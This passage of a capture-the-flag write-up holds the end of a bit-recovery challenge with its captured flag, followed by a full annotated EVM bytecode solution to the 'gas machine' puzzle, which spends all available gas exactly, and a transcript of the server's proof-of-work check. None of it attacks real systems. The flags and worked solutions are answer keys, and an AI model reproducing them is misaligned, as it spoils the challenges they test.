0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1]
1 10
[7066762694967242637]
0x62122f3ad1812f8d
1 Good :)

flag{we_have_tried_our_best_to_prevent_the_use_of_z3}
*** Connection closed by remote host ***
2 0110011001110000100000011110110101001001101101101110101101110100 msk
2 0110001000010010001011110011101011010001100000010010111110001101 msk

I guess the flag is not lying, I didn’t use z3 :^)


gas machine

yyyyyyy | misc, 12 solves, 500 points

Goal: Write an Ethereum VM (EVM) program that spends all the available gas exactly.

I used https://ethervm.io/ as a reference for the instruction set and https://docs.google.com/spreadsheets/d/1n6mRqkBz3iWcOlRem_mO09GtSKEKrAsfO7Frgx18pNU for the gas cost of each instruction.

An obvious start is the 5a opcode, which tells us how much gas is left. The strategy I went for is to write a program consisting of two stages: Write a loop which simply runs until the gas is up, prefix some setup code that makes the available gas a multiple of the cost of the loop. The first part can easily be done by observing that the 5b opcode (jump target) has a gas cost of 1, so we can simply build a 5b sled that the setup code jumps into at the right spot. Conveniently, 5b is also the opcode we need anyway to make a location a legal jump target.

Here’s the program I came up with (after a few failures due to human error):

 ## compute remaining gas modulo loop cost
6016        # push 22           # (not counted)
5a          # v = gas()         # (not counted)
06          # v %= 22           # 5
 ## jump to the right location to make gas divisible by loop cost
601d03      # t = 0x1d-v        # 3+3
56          # jmp t             # 8

 ## "nop sled" to waste gas, gets jumped into
5b5b5b5b    #                   # 1+1+1+1
5b5b5b5b    #                   # 1+1+1+1
5b5b5b5b    #                   # 1+1+1+1
5b5b5b5b    #                   # 1+1+1+1
5b5b5b5b    #                   # 1+1+1+1
5b5b5b5b    #                   # 1+1+1+1

 ## we're at 22ℤ gas here, now let's loop until all gas has been burned
 ## "recommended" listening: https://youtu.be/sC2t_Q-wDME

            # loop:             # (22)
5b          #                   # 1
5a          # gas()             # 2
601310      # if v > 19         # 3+3
602057      # jump to loop      # 3+10

 ## all done!
00          # stop              # 0

The server agrees that this code is satisfactory:

$ nc 111.186.58.164 13377
[+] sha256(anXVQ0nd+?).binary.endswith('00000000000000000000')
[-] ?=AAAAMOKYA
[+] passed

Help us design a 100% efficient gas machine in evm!

1. Read rules
2. Depoly and test

[-] input your choice: 2
